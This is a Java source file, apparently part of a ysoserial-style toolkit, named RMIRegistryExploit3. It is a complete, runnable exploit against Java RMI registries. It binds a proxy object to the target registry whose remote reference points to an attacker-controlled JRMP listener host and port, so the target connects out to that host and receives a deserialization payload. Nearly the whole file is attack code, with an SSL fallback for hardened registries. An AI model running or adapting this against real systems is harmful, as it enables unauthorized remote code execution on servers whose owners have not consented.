package ysoserial.exploit;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

import java.lang.reflect.Proxy;
import java.rmi.ConnectIOException;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.rmi.server.RemoteRef;
import java.util.Random;

import static ysoserial.exploit.RMIRegistryExploit.RMISSLClientSocketFactory;
/**
 * @author wh1t3P1g
 * @since 2020/1/9
 */
public class RMIRegistryExploit3 {

    public static void main(final String[] args) throws Exception {
        if (args.length < 4) {
            System.err.println(RMIRegistryExploit3.class.getName() + " <RMIRegistryHost>  <RMIRegistryPort> <JRMPListenerHost> <JRMPListenerPort>");
            System.exit(-1);
            return;
        }
        final String rHost = args[0];
        final int rPort = Integer.parseInt(args[1]);
        final String jrmpListenerHost = args[2];
        final int jrmpListenerPort = Integer.parseInt(args[3]);
        Registry registry = LocateRegistry.getRegistry(rHost, rPort);

        // test RMI registry connection and upgrade to SSL connection on fail
        try {
            registry.list();
        } catch (ConnectIOException ex) {
            registry = LocateRegistry.getRegistry(rHost, rPort, new RMISSLClientSocketFactory());
        }

        // ensure payload doesn't detonate during construction or deserialization
        exploit(registry, jrmpListenerHost, jrmpListenerPort);
    }

    public static void exploit(final Registry registry, final String host, final int port) throws Exception {

        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));

        Remote remote = (Remote) Proxy.newProxyInstance(
                            RemoteRef.class.getClassLoader(),
                            new Class<?>[] { Remote.class },
                            new RemoteObjectInvocationHandler(ref));

        String name = "pwned" + System.nanoTime();
        try {
            registry.bind(name, remote);
        } catch (Throwable e) {
            e.printStackTrace();
        }
    }
}
